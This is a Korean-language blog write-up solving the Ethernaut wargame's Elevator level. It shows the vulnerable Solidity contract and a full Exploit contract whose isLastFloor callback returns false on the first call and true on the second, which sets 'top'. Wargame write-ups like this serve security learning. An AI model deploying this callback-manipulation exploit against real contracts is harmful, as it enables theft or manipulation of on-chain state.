// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
This elevator won't let you reach the top of your building. Right?
Things that might help:
Sometimes solidity is not good at keeping promises.
This Elevator expects to be used from a Building.
top을 true로 바꾸면 풀리는 문제이다.
goTo 함수를 호출하게 된다면 호출한 CA안에 있는 isLastFloor 함수를 찾게 된다. top을 true로 바꾸기 위해서는 첫번째isLastfloor 함수 호출 때는 false여야 해당 조건문을 들어가게 되고 두번째 호출 때는 true여야 top이 true로 바뀌게 되면서 해당 문제를 풀 수 있을 것이다. isLastFloor 함수는 리턴 타입이 bool 이기 때문에 함수 안에 있는 조건들을 잘 컨트롤하면 잘 풀릴 것이다.
우선 최종 isLastFloor 함수를 먼저 보여주고 설명해보도록 하겠다.
function isLastFloor(uint _floor) external returns(bool){
count = count + _floor;
return count > 1;
}
count의 초기 값을 0으로 설정해주고 인자로 1을 전달하게 된다면 첫번째 호출에서는 0 + 1 = 1 로 count 값이 1보다 크지 않아서 false 값을 리턴하게 된다. 그렇지만 두번째 호출에서는 1 + 1 = 2 이므로 count 값이 1보다 크게 되면서 true 값을 리턴하게 된다. 이렇게 된다면 top 변수 안에 true 값이 들어가게 돼서 문제를 풀 수 있을거 같다.
다음은 위의 시나리오를 반영한 최종 익스플로잇 코드이다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Elevator {
function goTo(uint) external;
}
contract Exploit {
address target;
uint count = 0;
constructor(address _target) {
target = _target;
}
function exploit() public {
Elevator elevator = Elevator(target);
elevator.goTo(1);
}
function isLastFloor(uint _floor) external returns(bool){
count = count + _floor;
return count > 1;
}
}
exploit 함수를 호출하게 된다면 위와 같이 top 변수 안에 있는 값이 true로 바뀌게 되면서 문제를 풀 수 있었다.
🚩
'Write Up > Ethernaut - 블록체인 워게임' 카테고리의 다른 글
Ethernaut - 13단계 (Gatekeeper One) (1) | 2023.11.20 |
---|---|
Ethernaut - 12단계 (Privacy) (0) | 2023.11.18 |
Ethernaut - 10단계 (Re-entrancy) (0) | 2023.11.16 |
Ethernaut - 9단계 (King) (0) | 2023.11.08 |
Ethernaut - 8단계 (Vault) (0) | 2023.11.08 |